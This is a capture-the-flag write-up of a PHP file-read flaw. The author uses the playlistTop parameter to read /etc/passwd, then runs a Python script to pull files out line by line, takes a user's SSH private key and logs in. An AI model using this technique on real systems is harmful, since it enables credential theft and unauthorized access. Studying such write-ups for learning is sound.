We take a look at the given address:```http://challs.dvc.tf:51080```An nmap scan of the ports ```51000-52000``` reveals ssh listening on ```51022```The website delivered on port ```51080``` takes two parameters and diplays an embedded youtube video depending on these parameters:```http://challs.dvc.tf:51080?/MyTop5=4&playlistTop=TopRapFr```presents some french rap video.Replacing the last parameter with an empty string reveals the vulnerability```http://challs.dvc.tf:51080?/MyTop5=4&playlistTop=```we get a php error:```Warning: fopen(): Filename cannot be empty in /app/src/public/index.php on line 32```The application appears to open a file given in the parameter playlistTop and read the line given in parameter MyTop5.Since the filename should not be empty, we want to be kind and enter the desired filename```http://challs.dvc.tf:51080?/MyTop5=4&playlistTop=/etc/passwd```This call returns the following line appended to the youtube embed link:```sys:x:3:3:sys:/dev:/usr/sbin/nologin```showing that our call was successful. With a little python we are able to read arbitrary files:```import requestsfrom bs4 import BeautifulSoup
url = 'http://challs.dvc.tf:51080'filename = '/etc/passwd'lines = 30for count in range(1, lines):    response = requests.get(url, params={'MyTop5': count,                                         'playlistTop': filename})    soup = BeautifulSoup(response.text)    print(str(soup.find_all('iframe')[0]).split('embed/')[1].split('\n')[0])```We can list the system users that have shell access:```leonardo:x:1001:1001::/home/leonardo:/bin/bashadministrator:x:1002:1002::/home/administrator:/bin/bash```Increasing the line number in our script to 40 and changing the filename to the default ssh key location ```/home/leonardo/.ssh/id_rsa```, we are able to access leonardo's private key and login via ssh to obtain the flag in the home directory.